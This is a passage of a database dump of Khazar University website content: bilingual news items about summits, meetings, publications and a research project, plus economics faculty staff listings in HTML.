summit. Official guests visited exhibition hall of Khazar University. Like previous years, the&nbsp;exhibition hall of Khazar University was distinguishable from the others. In the exhibition hall of Khazar University, there were special banners with information on Bachelor, Master and Ph.D. degrees, flags of Azerbaijan and Khazar University, desk brochures, pamphlets, pens, bags and other items. Alovsat Amirbayli, Director of Public Relations and Media of the University, held a briefing on behalf of the University.</p><p>The exhibition hall of Khazar University was highly appreciated by the visiting guests. Idris Yusif, Minister of Science and Higher Education of Malaysia visited Khazar University and got closely familiar with it. A.Amirbayli invited the minister to Baku, Khazar University. Idris Yusif expressed his deep gratitude for the invitation. Dr. Mustafa Aydın, the President of EURAS, visited the hall of Khazar University on the third day of the summit, praised the university hall and thanked university administration. M.Aydin mentioned that he highly appreciated the calendars, which had especially been designed for the summit, and stressed that it is desirable that other members of EURAS follow this practice. On the same day, A.Amirbayli participated at the meeting of Board of Directors of EURAS on behalf of Prof. Hamlet Isakhanli, the Founder of Khazar University and the Chairman of its Board of Directors and Trustees. The Organising Committee of EURIE-2018 expressed a special gratitude to Prof.Hamlet Isakhanli, the Founder of Khazar University and the Chairman of its Board of Directors and Trustees.</p><p>Staff members of universities from England, Italy, USA, Russian, Turkey, Ukraine and other countries visited the hall of Khazar University. Guests were provided with full information on the University and the university presents were given to them.</p><p>On the last day of the Summit, memory photos were taken.</p>'),(4503,2669,'az','Avrasiya Bilik Mərkəzi ilk dəfə çoxmərhələli akademik kursun açılışını etdi','2017-ci il noyabrın 27-də Xəzər Universitetində yerləşən Avrasiya Bilik Mərkəzi fəaliyyətində ilk dəfə olaraq pilot qaydada “Təbii resursla...','<p>2017-ci il noyabrın 27-də Xəzər Universitetində yerləşən Avrasiya Bilik Mərkəzi fəaliyyətində ilk dəfə olaraq pilot qaydada “Təbii resursla zəngin ölkələrdə gəlirlərin idarə edilməsi” mövzusunda çoxmərhələli kursun açılışını etdi. Kursda 6 ölkədən (Qazaxıstan, Qırğızıstan, Tacikistan, Ukrayna, Monqolustan və Azərbaycan) 22 dinləyici iştirak edir. Dinləyicilər əsasən dövlət qurumları, parlament, beynəlxalq maliyyə qurumları, akademiya, tədqiqat institutları və vətəndaş cəmiyyətini təmsil edir.</p><p>Dinləyicilər 9 gün ərzində resursla zəngin ölkələrdə gəlirlərin optimal idarəetməsini öyrənəcək, onların praktikada tətbiqi bacarıqlarına yiyələnəcəklər.</p><p>Məruzəçilər Xəzər Universitetinin, eləcə də, digər univeristetlərin bu sahədə tanınmış mütəxəssisləridir.</p>'),(4559,2670,'en','Khazar University Graduate Gave an Interview','On November 20, 2017, A24.az news website published an interview with Zaur Shafiyev, an actor of Ibrus Theatre and graduate...','<p>On November 20, 2017, <strong><em>A24.az</em></strong> news website published an interview with Zaur Shafiyev, an&nbsp;actor of Ibrus Theatre and a graduate of Khazar University.&nbsp;</p><p>The full interview is available at:</p><p><a href=\"http://a24.az/rasim-balayev-kimi-aktyora-deyer-verilmirse-vay-bizim-halimiza-zaur-sefiyevle-musahibe/\">http://a24.az/rasim-balayev-kimi-aktyora-deyer-verilmirse-vay-bizim-halimiza-zaur-sefiyevle-musahibe/</a>.  <br></p>'),(6330,3599,'en','An open lesson on “Types of ashig poems and saz songs”','On November 1, 2018, within the course of “History of Azerbaijan Literature-1...','<p>On November 1, 2018, within the course of “History of Azerbaijan Literature-1” (Folklore), an open lesson on “Types of ashig poems and saz songs” was held in “Marble” hall at Khazar University. The lesson was conducted by Assoc. Prof. Vurghun Ayyub who talked about types of ashig poems and the role of saz songs in the enrichment of ashig poems as well as mutual relations and compliance of types of ashig poems and saz songs. Then ashig Shahriyar Karimov performed ashig songs and gave information about the content and emotional tone and tune of the songs.</p><p>The open lesson was attended by the first-year and senior course students majoring in Azerbaijani Language and Literature and Philology as well as the students of other specialties and instructors.</p>'),(2062,1252,'en','The employee of Khazar University took part in an International event. ','On 22 – 26 June, 2016, Rima Mammadova, Project Coordinator, participated in the “VI International Symposium” conducted by Kadir Has University in Istanbul...','<p>On 22 – 26 June, 2016, Rima Mammadova, Project Coordinator,\r\nparticipated in the “VI International Symposium” conducted by Kadir Has University\r\nin Istanbul.&nbsp; The representatives from a variety of universities and\r\nnon-governmental organizations took part in the symposium.&nbsp; During the\r\nsymposium there were discussions regarding the events occurred Near East and\r\nthe role of Russia, Turkey and NATO in this political issue.&nbsp; At the\r\nsymposium Rima Mammadova informed the participants about Khazar University and\r\nits International Relations.&nbsp;</p>'),(2063,1246,'en','A meeting at Khazar University with the representatives of UCL Institute of Education ','On 29 June, 2016, a meeting was held with the representatives of UCL Institute of Education at Khazar University...','<p>On 29 June, 2016, a meeting was held with the\r\nrepresentatives of UCL Institute of Education at Khazar University. </p>\r\n<p>The representatives, Dr. Clare Brooks, Head of Department of\r\nCurriculum, Pedagogy &amp; Assessment of UCL Institute of Education and Moya\r\nWilkie, Head of Department of International Relations were informed about\r\nKhazar University, particularly, about School of Education and about the\r\nprojects on General Education System conducted by order of the Ministry of\r\nEducation. Dr. Elza Samadli, Head of School of Education, Raziya Isayeva,\r\nDirector of the Development Centre, Mukhtar Hajizade, Head of the Department of\r\nPolitical Science and International Relations, Eynur Mehdiyev, Major Programs\r\ncoordinator of English Language and Literature Department, Irada\r\nKhalilova,&nbsp; Head of Biology Department, and Lala Hamidova, an instructor\r\nof English Language and Literature Department participated at the meeting. The\r\nparticipants discussed the perspectives on future collaboration between the two\r\nuniversities.&nbsp;</p>'),(2064,1249,'en','The interview with the employee of Khazar University has been released ','On June 4th, 2016, an interview with the director of Khazar University Cultural Centre, carpet artist, Afag Karimova was released on azpress.az web site...','<p>On June 4<sup>th</sup>, 2016, an interview with the director\r\nof Khazar University Cultural Centre, carpet artist, Afag Karimova was released\r\non <strong>azpress.az</strong> web site. </p>\r\n<p>The full interview can be found via the following link: </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:15.0pt;background:white\"\"=\"\"><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=55575\">http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=55575</a>.&nbsp;</p>'),(2065,1253,'en','A meeting of Academic  Council','On 5 July, Khazar University held a regular meeting of Academic Council chaired by Dr. Hassan Niknafs, the rector of the university...','<p>On 5\r\nJuly, Khazar University held a regular meeting of Academic Council chaired by\r\nDr. Hassan Niknafs, the rector of the university. According to the agenda of\r\nthe meeting, the Faculty deans,&nbsp; Elza Samadli, Jabir Khalilov, Hassan Niknafs and dean’s assistant Fuad Rasulov\r\nreported on the graduation, vice president, Pr. Mohammad Nuriyev gave\r\ninformation about&nbsp; the preparation for the academic year 2016-2017, Head of Graduate\r\nStudies and Research, Dr. Eldar Shahgaldiyev gave recommendations on the\r\npublication of methodical books and relevant decisions were made. </p>\r\n<p>&nbsp;A\r\ngroup of employees were thanked for the results of the current academic year at\r\nthe meeting of Academic Council. &nbsp;</p>'),(2066,1254,'az','Əməkdaşımızın məqaləsi “Musiqi dünyası” jurnalında','Xəzər Universiteti Musiqi və incəsənət departamentinin müdiri, dosent Zülfiyyə Sadıqovanın “Sərdar Fərəcovun fortepiano prelüdləri” adlı məqaləsi...','<p>Xəzər Universiteti Musiqi və incəsənət\r\ndepartamentinin müdiri, dosent Zülfiyyə Sadıqovanın “Sərdar Fərəcovun\r\nfortepiano prelüdləri” adlı məqaləsi beynəlxalq elmi-pedaqoji, tənqidi-publisistik,\r\nmədəni-maarif musiqi dərgisi olan “Musiqi dünyası” jurnalının (təsisçilər: Azərbaycan\r\nBəstəkarlar İttifaqı, Bakı Musiqi Akademiyası, “Koroğlu - T” firması) 2016-cı\r\nil&nbsp; 1/66 sayında dərc olunmuşdur. </p>\r\n<p>Məqalədə bəstəkar, Əməkdar incəsənət xadimi Sərdar\r\nFərəcovun fortepiano prelüdlərinin təhlilinə həsr olunmuşdur.</p>'),(2067,1255,'az','Neft və qaz sahəsində elmi-tədqiqat layihəsi yerinə yetiriləcək','2016-cı il iyunun 22-də Xəzər Universiteti Neft və qaz mühəndisliyi departamentinin “EİLİNK” elmi tədqiqat və inkişaf mərkəzi BP şirkətinin sifarişi...','<p style=\"\" margin-right:-1.45pt;text-align:justify;text-indent:28.35pt\"\"=\"\">2016-cı il\r\niyunun 22-də Xəzər Universiteti Neft və qaz mühəndisliyi departamentinin\r\n“EİLİNK” elmi tədqiqat və inkişaf mərkəzi BP şirkətinin sifarişi əsasında “Azəri-Çıraq-Günəşli\r\nyataqlarının analoqu olan yataqlar və yerüstü geoloji kəsilişlər üzrə struktur\r\ndeformasiyaya məruz qalmış ərazilərin kollektor süxurların xassələrinin və məhsuldarlığının\r\nqiymətləndirilməsi” mövzusunda elmi-tədqiqat layihəsinin yerinə yetirilməsi BP-Azərbaycan,\r\nGürcüstan və Türkiyə regional şirkəti tərəfindən rəsmi olaraq təsdiq\r\nedilmişdir. Layihənin 9 ay müddətində yerinə yetirilməsi nəzərdə tutulmuşdur.\r\nLayihə Azəri-Çıraq-Günəşli yataqlarının analoqu olan Abşeron neftli-qazlı\r\nrayonunun Yasamal dərəsi, Şubanı, Şabandağ, Atəşgah, Lökbatan, Puta-Quşxana,\r\nŞonqar və Korgöz-Qızıltəpə sahələrinin yerüstü geoloji kəsilişlərində geoloji\r\nplanalma və çöl tədqiqat işləri nəticəsində məhsuldar qatın çökmə şəraitinin,\r\nonların laylanma formalarının və həmçinin, həmin strukturların dik yamaclı tağ\r\nhissələrində deformasiyaya məruz qalmış süxurların kollektor xüsusiyyətlərini\r\nöyrənilməsi ilə əlaqədar keçiriciliyin və məsaməliyin ölçülməsi işlərinin və həmin\r\nişlərin nəticələrinin quyu karotajı, kerna, seysmik kəşfiyyat, quyuların\r\nsınanma və hasilat məlumatları ilə inteqrasiyası əsasında Günəşli yatağının dərin\r\nsulu hissəsinin məhsuldarlığının qiymətləndirilməsinə həsr olunmuşdur. Layihə\r\nNeft və qaz mühəndisliyi departamentinin müdiri Qəşəm Zeynalovun rəhbərliyi və icrası\r\nilə və departamentin doktorantı Şəhriyar Alxaslının icrası ilə yerinə yetiriləcək.\r\nBu layihənin yerinə yetirilməsində Xəzər Universiteti ilə “Azərbaycan Neft Mühəndisləri”\r\nİctimai Birliyinin birgə əməkdaşlığı nəzərdə tutulur.</p>'),(2446,1481,'az','Xəzər Universitetinin nümayəndələri “Britaniya universitetləri ilə əməkdaşlıq” tədbirində iştirak etdilər','2016-cı il oktyabrın 24-də Xəzər Universitetinin nümayəndələri British Council Azərbaycan tərəfindən təşkil olunuş “Britaniya universitetləri ilə əməkdaşlıq” tədbirində iştirak etdilər...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil oktyabrın 24-də Xəzər Universitetinin nümayəndələri British Council Azərbaycan\r\ntərəfindən təşkil olunuş “Britaniya universitetləri ilə əməkdaşlıq” tədbirində\r\niştirak etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">TədbirBritishCouncil-ınAzərbaycan\r\nüzrə direktoru, TəhsilNazirliyininnümayəndələrivə Erasmus+\r\nproqramınınAzərbaycan\r\nüzrə nümayəndəliyininrəhbərininaçılış\r\nnitqləriilə başladı. Dahasonrayeddiuniversitettəklifetdiyiproqramlarvə Azərbaycanda əməkdaşlıqmaraqları və\r\nprioritetlərihaqqındaqısatəqdimatla\r\nçıxış etdi. Təqdimatlardan sonra Britaniya universitetləri nümayəndələrinin\r\nyerli universitetləri təmsil edən nümayəndələrlə üzbəüz görüşmək imkanları\r\noldu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İnkişaf Mərkəzinin\r\ndirektoru Raziyə İsayeva və Beynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərova\r\ntədbirdə iştirak etdilər.&nbsp;</p>'),(2447,1482,'az','Xəzər Universitetinin əməkdaşının məqaləsi xaricdə çap olundu','Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin əməkdaşı Elza İsmayılovanın “Koroğlu” dastanının Avropa dillərinə tərcüməsi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">Xəzər Universiteti Azərbaycan\r\ndili və ədəbiyyatı departamentinin əməkdaşı Elza İsmayılovanın “Koroğlu” dastanının\r\nAvropa dillərinə tərcüməsi və yayını: xarici tədqiqatçıların gözü ilə &nbsp;incələnməsi” (türkcə) adlı məqaləsi Türkiyənin\r\n“Akademik bakış” <em>(</em><em>Sayı/Issue: 57. </em><em>Eylül</em><em>‑</em><em>Ekim September–October 2016 ISSN: 1694-528X)</em> –beynəlxalq rəyli\r\nsosial elmlər e-jurnalında çap olunmuşdur. Məqalə jurnalın 150-166-cı səhifələrindədir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">“Akademik\r\nbakış” jurnalı bir çox beynəlxalq qurumlar tərəfdən izlənilməkdədir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">Məqaləni\r\noxumaq üçün bu linkə daxil olmaq lazımdır:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\"><a href=\"http://www.akademikbakis.org/jenerik/57.pdf\">http://www.akademikbakis.org/jenerik/57.pdf</a>.&nbsp;</p>'),(2448,1482,'en','Khazar University Instructor’s Article Published Abroad ','An article by Elza Ismayilova, instructor for Khazar University’s Azerbaijani Language and Literature Department, entitled “Translation and Distribution of the Koroghlu Epic...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">An article by\r\nElza Ismayilova, instructor for Khazar University’s Azerbaijani Language and\r\nLiterature Department, entitled “Translation and Distribution of the Koroghlu\r\nEpic into European Languages: Analysis through the Eyes of Foreign Researchers”\r\n(in Turkish) was published in Akademik bakış <em>(Issue: 57. Eylül</em><em>‑</em><em>Ekim\r\nSeptember–October 2016 ISSN: 1694-528X),</em> an international peer-reviewed social\r\nsciences e-journal. The article is on pages 150-166 of the journal. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">Akademik bakış\r\nis indexed by many international organizations.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">The article is\r\navailable at the following link:&nbsp; <a href=\"http://www.akademikbakis.org/jenerik/57.pdf\">http://www.akademikbakis.org/jenerik/57.pdf</a>.&nbsp;</p>'),(2449,1481,'en','Representatives of Khazar University Participate in “Networking with UK Universities” Event','On October 24, 2016, representatives of Khazar University participated in the Networking with UK Universities event organized by the British Council (BC) of Azerbaijan...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On\r\nOctober 24, 2016, representatives of Khazar University participated in the\r\nNetworking with UK Universities event organized by the British Council (BC) of\r\nAzerbaijan. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The\r\nevent started with welcoming remarks by the BC Azerbaijan director,\r\nrepresentative of the Ministry of Education, and head of the National Erasmus\r\nPlus Office in Azerbaijan. Seven universities gave brief presentations about\r\ntheir programs, partnership interests and priorities in Azerbaijan. The\r\npresentations were followed by the networking itself during which UK university\r\nrepresentatives had an opportunity to meet face-to-face with the\r\nrepresentatives of local universities. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Mrs.\r\nRaziya Isayeva, Development Director, and Ms. Turan Jafarova, Director of the\r\nInternational Affairs Office, represented Khazar University at the event.</p>'),(2078,1261,'az','Azərbaycan Təhsil Şurasının sədri Xəzər Universitetini nümunə göstərdi','2016-cı il iyulun 22-də nezermedia.az saytında “Biz “qırmızı” diplomlu, yoxsa savadlı olmaq istıyirik?”...','<p>2016-cı il iyulun 22-də nezermedia.az saytında “Biz\r\n“qırmızı” diplomlu, yoxsa savadlı olmaq istıyirik?” sərlövhəli analitik yazı\r\nverilmişdir. Yazıda ekspertlər təhsil problemləri ilə bağlı mülahizələrini\r\nbildirirlər. Azərbaycan Təhsil Şurasının sədri professor Əjdər Ağayev müxtəlif\r\ntəhsil problemlərinə münasibətini bildirərkən, Xəzər Universitetini, “dünyada\r\nseçilən” universitet adlandıraraq, nümunə göstərmişdir.</p>\r\n<p>Yazını bu\r\nlinkdə oxumaq olar: <em><a href=\"http://nezermedia.az/cemiyyet/17188-biz-qirmizi-diplomlu-yoxsa-savadli-olmaq-ucun-oxuyuruq.\">http://nezermedia.az/cemiyyet/17188-biz-qirmizi-diplomlu-yoxsa-savadli-olmaq-ucun-oxuyuruq.</a></em></p>'),(2079,1262,'az','hafta.az  veb səhifəsində Boloniya sisteminin Azərbaycanda tətbiqi ilə əlaqədar ekspert şərhləri','2016-cı il iyulun 22-də “Həftə içi” qəzetinin hafta.az  veb səhifəsində “Boloniya prosesi və Azərbaycan təhsili” adlı analitik yazı yerləşdirilmişdir...','<p>2016-cı il iyulun 22-də “Həftə içi” qəzetinin <em>hafta.az</em>&nbsp;\r\nveb səhifəsində “Boloniya prosesi və Azərbaycan təhsili” adlı analitik\r\nyazı yerləşdirilmişdir (müəllif: Sevinc). Yazıda tanınmış təhsil ekspertləri –\r\nXəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı və Azərbaycan Təhsil Şurasının sədri professor Əjdər\r\nAğayev problemi şərh edirlər.</p>\r\n<p>Yazını bu link vasitəsilə oxumaq olar: <a href=\"http://hafta.az/index2.php?m=yazi&amp;id=182737\">http://hafta.az/index2.php?m=yazi&amp;id=182737</a></p>'),(2080,1263,'az','Osmanlı tarixçisi, Avrasiya Akademiyasının qurucu üzvü , prof. Halil İnalcık rəhmətə getdi','25 iyul 2016-cı il tarixində Böyük Osmanlı Tarixçisi, Avrasiya Akademiyasının qurucu üzvü, Bilkent Universitəsinin professoru Halil İnalcık  axşam saatlarında Ankarada rəhmətə getdi...','<p>25 iyul 2016-cı il tarixində Böyük Osmanlı Tarixçisi, Avrasiya Akademiyasının qurucu üzvü, Bilkent Universitəsinin professoru Halil İnalcık &nbsp;axşam saatlarında Ankarada rəhmətə getdi. Elə həmin gün Avrasiya Akademiyasının qurucu üzvü, Xəzər Universitəsinin təsisçisi, Direktorlar və Qəyyumlar Şurasının Sədri, prof. Hamlet İsaxanlı Ankaraya rəsmi Başsağlığı məktubu göndərdi. Məktubda deyilir: “<strong>Osmanlı Tarixinin böyük ustadı, Avrasiya Akademiyasının qurucu üzvü , böyük insan, prof. Halil İnalcık allahın rəhmətinə qovuşmuşdur. H.İnalcık dəyərli əsərləri ilə əbədi qəlbimizdə yaşayacaqdır. Məkanı cənnət olsun”.&nbsp;</strong>27 iyul 2016-cı il tarixində Ankarada, Bilkent universitəsində mərhumla vida mərasimi keçirildi. Mərasimdə Türkiyə Böyük Millət Məclisinin Başkanı İsmayıl Kahraman, Türkiyə Parlamentində təmsil olunan partiya sədrləri, dövlət rəsmiləri, ictimaiyyətin nümayəndələri və Xəzər Universitəsinin Türkiyə &nbsp;təmsilciləri Hüseyin Ayhan və Murat Yaşar Ekinci iştirak etdilər. Onlar Avrasiya Akademiyasının qurucu üzvü, Xəzər Universitəsinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri, prof. Hamlet İsaxanlının rəsmi məktubunu dəfn komissiyasına təqdim etdilər və Hamlet İsaxanlının adından hazırlanmış əklili cənazə önünə qoydular. Halil İnalcık 28 iyul 2016-cı il tarixində İstanbulda Karaca Ahmet məzarlığında dəfn edildi.</p>'),(582,381,'az','İşçi heyəti','İşçi heyəti','<p><img src=\"http://www.khazar.org/files/economics/14_11_01_Jeyhun-Mammadov.jpg\" style=\"border:0px  #000000;width:150px;height:163px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/economics/JMammadov_CV.pdf\">Ceyhun Məmmədov</a>&nbsp;-</strong>&nbsp;<strong>İqtisadiyyat və Menecment fakültəsinin dekanı</strong></p><p>İqtisad elmləri üzrə fəlsəfə doktoru   (Bielefeld Universiteti, Almaniya)&nbsp;</p><p>İqtisadiyyat üzrə magistr&nbsp;(Nova de Lisboa&nbsp;Universiteti, Lisbon, Portuqaliya)&nbsp;</p><p><strong>E-poçt:</strong>&nbsp;<a href=\"mailto:jmammadov@khazar.org\">jmammadov[at]khazar.org</a>  <a href=\"mailto:jmammadov@khazar.org\"></a></p><p><br></p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/eco_depart/Shahriyar_Mukhtarov.pdf\" style=\"box-sizing:border-box;background-color:#ffffff;color:#337ab7;text-decoration-line:none;font-weight:bold;font-family:\'times new roman\', times, serif\"><img src=\"http://www.khazar.org/files/eco_depart/Sekil%20Muxtarov.jpg\" style=\"border:0px  #337ab7;box-sizing:border: 7px;vertical-align:middle;outline:rgb(221, 221, 221) solid 4px;outline-offset:-4px;margin:7px;width:150px;height:130px;float:left\"></a><a href=\"http://www.khazar.org/files/economics/Cv_Shahriyar_Mukhtarov.pdf\" style=\"font-family:\'Source Sans Pro\', sans-serif;font-weight:bold\">Şəhriyar Muxtarov</a><span style=\"background-color:#ffffff;color:#252525;font-family:\'Source Sans Pro\', sans-serif;font-weight:bold\">&nbsp;</span><span style=\"color:#252525;font-family:\'Source Sans Pro\', sans-serif;font-weight:bold\">- Dekan müavini</span></p><p>İqtisad elmləri üzrə fəlsəfə doktoru&nbsp;(Marmara Universiteti, Türkiyə)</p><p>Bank işi üzrə magistr (Marmara Universiteti, Türkiyə)</p><p><strong>E-poçt:</strong> <a href=\"mailto:smukhtarov@khazar.org\">mukhtarov[at]khazar.org</a>  </p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/economics/Khanim_CV.pdf\"><img src=\"/files/economics/4x6.jpg\" style=\"border:7px;width:150px;height:154px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/economics/Khanim_CV.pdf\">Xanım Nəbiyeva</a>&nbsp;-&nbsp;</strong><strong>Dekan köməkçisi</strong></p><p>Riyaziyyat üzrə&nbsp;magistr (Bakı Dövlət Universiteti, Azərbaycan)</p><p><strong>E-poçt:</strong>&nbsp;<a href=\"mailto:khnabiyeva@khazar.org\">khnabiyeva[at]khazar.org</a>  </p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/economics/SAMIRE.JPG\" style=\"border:0px  #000000;width:150px;height:194px;margin:7px;float:left\"><strong><a href=\"http://khazar.org/files/economics/CV_Samira_M.pptx\">Samirə Mirzəyeva</a></strong><strong>&nbsp;-</strong>&nbsp;<strong><strong>Dekan köməkçisi</strong>   (MBA üzrə koordinator)</strong></p><p><strong></strong>Biznesin idarə edilməsi üzrə&nbsp;magistr   (Azərbaycan Dövlət İqtisad Universiteti, Azərbaycan)</p><p><strong>E-poçt:</strong>&nbsp;s<a href=\"mailto:smirzayeva@khazar.org\">smirzayeva[at]khazar.org</a><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/economics/Europass_CV.PDF\">Bahar İmanova</a>&nbsp;-&nbsp;<strong>Dekan köməkçisi</strong></strong><strong><a href=\"http://www.khazar.org/files/economics/Europass_CV.PDF\"><img src=\"/files/economics/IMG_6718.jpg\" style=\"border:7px;width:150px;height:185px;margin:7px;float:left\"></a></strong> <br></p><p>Menecment və&nbsp;Biznesin idarə edilməsi üzrə&nbsp;magistr&nbsp;(Azərbaycan Dövlət İqtisad Universiteti, Azərbaycan)</p><p><strong>E-poçt:</strong>&nbsp;<a href=\"mailto:bimanova@khazar.org\">bimanova[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<h3>Departament heyəti<br></h3><div><br></div><img src=\"http://www.khazar.org/files/eco_depart/1.jpg\" style=\"width:150px;height:205px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/economics/AhmetBahadirBaysalCV.pdf\">Bahadır Baysal</a>&nbsp;- Koordinator</strong></p><p>Biznesin idarə edilməsi üzrə&nbsp;magistr   (Troy Dövlət&nbsp;Universiteti, Troy, Alabama, ABŞ)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:bbaysal@khazar.org\">bbaysal[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/economics/CV-Elsevar-Ibadov.pdf\"><img src=\"http://www.khazar.org/files/economics/elsevar_ibadov.png\" style=\"width:150px;height:184px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Elsevər İbadov</a> - Koordinator</strong></p><p>Maliyyə uçotu üzrə fəlsəfə doktoru (Atatürk Universiteti, Türkiyə)  </p><p>Maliyyə uçotu üzrə magistr&nbsp;(Dumlupınar&nbsp;Universiteti,&nbsp;Türkiyə)    </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:eibadov@khazar.org\">eibadov[at]khazar.org</a>  </p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/economics/ayten_baxisova.JPG\" style=\"width:150px;height:185px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/economics/aytan.bakhishova_CV.pdf\">Aytən Baxışova</a>&nbsp;- Departament müdirinin&nbsp;köməkçisi&nbsp;</strong></p><p><strong></strong><strong></strong>Biznesin idarə edilməsi üzrə&nbsp;magistr&nbsp;(Azərbaycan Dövlət İqtisad Universiteti, Azərbaycan)&nbsp;</p><p> <strong>E-mail:</strong>&nbsp;<a href=\"mailto:arahimova@khazar.org\">arahimova[at]khazar.org</a>  </p><p><br></p><p><br></p>'),(583,381,'en','Faculty and Staff','Faculty and Staff','<p><img src=\"/files/economics/14_11_01_Jeyhun-Mammadov.jpg\" style=\"border:0px  #000000;margin:7px;float:left;width:150px;height:163px\"><strong><a href=\"http://www.khazar.org/files/economics/JMammadov_CV.pdf\">Jeyhun Mammadov</a>&nbsp;-</strong> <strong>Dean of the School of Economics\r\nand Management</strong>&nbsp;</p><p>PhD&nbsp;in Economics (Bielefeld University,\r\nGermany)&nbsp;</p><p>MS&nbsp;in Economics (Universidade Nova de Lisboa,\r\nLisbon, Portugal)&nbsp;</p><p><strong>E-mail: </strong><a href=\"mailto:jmammadov@khazar.org\">jmammadov[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eco_depart/Shahriyar_Mukhtarov.pdf\"><img src=\"/files/economics/Sekil%20Muxtarov.jpg\" style=\"border:0px  #0000ee;width:150px;height:120px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/eco_depart/Shahriyar_Mukhtarov.pdf\">Shahriyar Mukhtarov</a>&nbsp;</strong>-&nbsp;<strong>Vice-Dean</strong></p><p>PhD&nbsp;in&nbsp;Banking&nbsp;(Marmara University, Turkey)<br></p><p>MS in Banking&nbsp;(Marmara University, Turkey)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:smukhtarov@khazar.org\">smukhtarov[at]khazar.org</a>  </p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/economics/Khanim_CV.pdf\"><img src=\"/files/economics/4x6.jpg\" style=\"border:7px;width:150px;height:154px;margin:7px;float:left\">Khanim Nabiyeva</a>&nbsp;-&nbsp;</strong><strong>Dean’s Assistant</strong>&nbsp;<br></p><p>MS&nbsp;in Mathematics (Baku State University, Azerbaijan)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:khnabiyeva@khazar.org\">khnabiyeva[at]khazar.org</a>  </p>\r\n<p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/economics/SAMIRE.JPG\" style=\"margin:7px;width:150px;height:194px;float:left\"><strong><a href=\"http://khazar.org/files/economics/CV_Samira_M.pptx\">Samira Mirzayeva</a><a href=\"http://khazar.org/files/economics/CV_Samira_M.pptx\"></a><a href=\"http://www.khazar.org/files/economics/Samire_Mirzeyeva_CV.pdf\"></a>&nbsp;-</strong> <strong>Dean’s Assistant (MBA student affairs)</strong></p>\r\n<p>MS in Business\r\nAdministration (Azerbaijan State University of Economics, Azerbaijan)</p><p><strong>E-mail:\r\n</strong><a href=\"mailto:smirzayeva@khazar.org\">smirzayeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/economics/Europass_CV.PDF\"><img src=\"/files/economics/IMG_6718.jpg\" style=\"border:7px;width:150px;height:185px;margin:7px;float:left\">Bahar Imanova</a>&nbsp;- Dean’s Assistant</strong></p><p>MS&nbsp;in Management and Business Administration (Azerbaijan State University of Economics, Azerbaijan)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:bimanova@khazar.org\">bimanova[at]khazar.org</a>  </p>  <p><br></p><p><br></p><p><br></p><p><br></p><h3>Department Staff</h3><div><br></div><p><img src=\"/files/eco_depart/1.jpg\" style=\"width:150px;height:205px;margin:7px;float:left\"><strong style=\"font-size:14pt\"><a href=\"http://www.khazar.org/files/economics/AhmetBahadirBaysalCV.pdf\">Bahadir Baysal</a>&nbsp;-\r\nCoordinator</strong></p><p>PhD&nbsp;in Business\r\nManagement (Khazar University, Azerbaijan)</p>\r\n<p>MS in Business\r\nAdministration (Troy State University, Troy, Alabama, USA) 